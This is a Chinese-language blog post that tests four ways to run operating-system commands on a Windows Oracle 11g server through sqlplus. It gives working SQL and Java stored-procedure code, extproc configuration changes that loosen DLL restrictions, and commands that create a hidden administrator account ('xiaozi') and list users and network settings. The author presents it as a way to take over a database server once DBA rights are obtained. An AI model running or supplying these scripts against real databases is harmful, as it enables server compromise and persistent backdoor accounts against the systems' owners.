网络上找到的在sqlplus中执行cmd的一些命令,主要有四种方法,这边都做了一下测试,这里做一下记录:
测试环境:window2003+Oracle 11.2.0.1.0
第一种方法:
最简单的执行cmd命令方法,但执行的本机的cmd命令,非数据库系统的cmd命令,故和本机打开cmd命令一样,貌似没什么用。
C:\wmpub>sqlplus system/QWEasd123@testdb
SQL*Plus: Release 11.2.0.1.0 Production on 星期一 10月 31 20:37:51 2016
Copyright (c) 1982, 2010, Oracle. All rights reserved.
连接到:
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
SQL> host net user
\\TEST1 的用户帐户
-------------------------------------------------------------------------------
Administrator Guest SUPPORT_388945a0
命令成功完成。
第二种方法:
利用msvcrt.dll
1、新建一个oracle.sql文件,保存如下内容:
Rem
Rem oracmd.sql
Rem
Rem Run system commands via Oracle database servers
Rem
Rem Bugs to [email protected]
Rem
CREATE OR REPLACE LIBRARY exec_shell AS
'C:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS
PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system" LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
2、执行oracle.sql,进一步执行cmd命令,然而却报错,默认安装情况下,用这种方法应该是没办法执行成功的,如果有高手成功的话,方便告知一下。
SQL> @oracle.sql
库已创建。
没有错误。
程序包已创建。
没有错误。
程序包体已创建。
没有错误。
SQL> exec oracmd.exec ('dir > c:\oracle.txt');
BEGIN oracmd.exec ('dir > c:\oracle.txt'); END;
*
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1
3、修改oracle配置
在C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora
将
# listener.ora Network Configuration File: C:\app\Administrator\product\11.2.0\dbhome_1\NETWORK\ADMIN\listener.ora
# Generated by Oracle configuration tools.
SID_LIST_LISTENER =
(SID_LIST =
(SID_DESC =
(SID_NAME = CLRExtProc)
(ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
(PROGRAM = extproc)
(ENVS = "EXTPROC_DLLS=ONLY:C:\app\Administrator\product\11.2.0\dbhome_1\bin\oraclr11.dll")
)
(SID_DESC =
(GLOBAL_DBNAME = testdb)
(ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
(SID_NAME = testdb)
)
)
修改ENVS,为ANY
(SID_DESC =
(SID_NAME = CLRExtProc)
(ORACLE_HOME = C:\app\Administrator\product\11.2.0\dbhome_1)
(PROGRAM = extproc)
(ENVS = "EXTPROC_DLLS=ANY")
)
在C:\app\Administrator\product\11.2.0\dbhome_1\hs\admin\extproc.ora
将最后一行
SET EXTPROC_DLLS=
改为
SET EXTPROC_DLLS=ANY
4、重新执行
SQL> exec oracmd.exec ('net user xiaozi xiaozi /add');
PL/SQL 过程已成功完成。
这时候命令已成功执行,这招可以用来创建数据库服务器管理员账号密码以及进一步操作,然而默认配置执行不成功实在蛋疼,除非哪个谁已经改了。
第三种:
新建1.sql
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
新建2.sql
create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
新建3.sql
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
登陆上去后依旧是依次执行
SQL> @1.sql
35 /
Java 已创建。
SQL> @2.sql
6 /
函数已创建。
SQL> @3.sql
7 /
过程已创建。
SQL>
SQL> variable x number;
SQL> set serveroutput on;
SQL> exec dbms_java.set_output(100000);
SQL> grant javasyspriv to system;
PL/SQL 过程已成功完成。
SQL> exec :x:=run_cmd('ipconfig');
Windows IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1
PL/SQL 过程已成功完成。
本机测试成功,拿到oracle账号,提升至dba权限,可以考虑使用这种方法拿下服务器。
下面整成一个sql文件,只需执行一步,即可获取数据库ip和管理员列表
create or replace and compile
java souRCe named "util"
as
import java.io.*;
import java.lang.*;
public class util extends Object
{
public static int RunThis(String args)
{
Runtime rt = Runtime.getRuntime();
int RC = -1;
try
{
Process p = rt.exec(args);
int bufSize = 4096;
BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);
int len;
byte buffer[] = new byte[bufSize];
// Echo back what the program spit out
while ((len = bis.read(buffer, 0, bufSize)) != -1)
System.out.write(buffer, 0, len);
RC = p.waitFor();
}
catch (Exception e)
{
e.printStackTrace();
RC = -1;
}
finally
{
return RC;
}
}
}
/
create or replace
function run_cmd(p_cmd in varchar2) return number
as
language java
name 'util.RunThis(java.lang.String) return integer';
/
create or replace procedure RC(p_cmd in varChar)
as
x number;
begin
x := run_cmd(p_cmd);
end;
/
variable x number;
set serveroutput on;
exec dbms_java.set_output(100000);
grant javasyspriv to system;
exec :x:=run_cmd('ipconfig');
exec :x:=run_cmd('net1 user');
登陆进去执行执行脚本
SQL> @java.sql
Java 已创建。
函数已创建。
过程已创建。
PL/SQL 过程已成功完成。
授权成功。
Windows IP Configuration
Ethernet adapter 本地连接:
Connection-specific DNS Suffix . : localdomain
IP Address. . . . . . . . . . . . : 192.168.91.130
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.91.1
PL/SQL 过程已成功完成。
User accounts for \\
-------------------------------------------------------------------------------
Administrator Guest SUPPORT_388945a0
xiaozi123
The command completed with one or more errors.
PL/SQL 过程已成功完成。
第四种:
通过Java运行OS命令
CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
public static void execCommand (String command) throws IOException
{
Runtime.getRuntime().exec(command);
}
};
/
CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)
AS LANGUAGE JAVA
NAME 'JAVACMD.execCommand (java.lang.String)';
/
exec javacmdproc('cmd.exe /c net user xiaozi 123 /add');
exec javacmdproc('cmd.exe /c net localgroup administrators xiaozi /add');
账号创建成功,如下图:
不同的方法需要不同的权限要求,dba权限下,无视。
第三第四种方法需要有javasyspriv才能正确执行
SQL> grant javasyspriv to scott;
SQL> revoke javasyspriv from scott;
参考文章:
Oracle 10g版本SCOTT用户提升DBA权限实战图文:http://niuzu.blog.51cto.com/3006825/607657/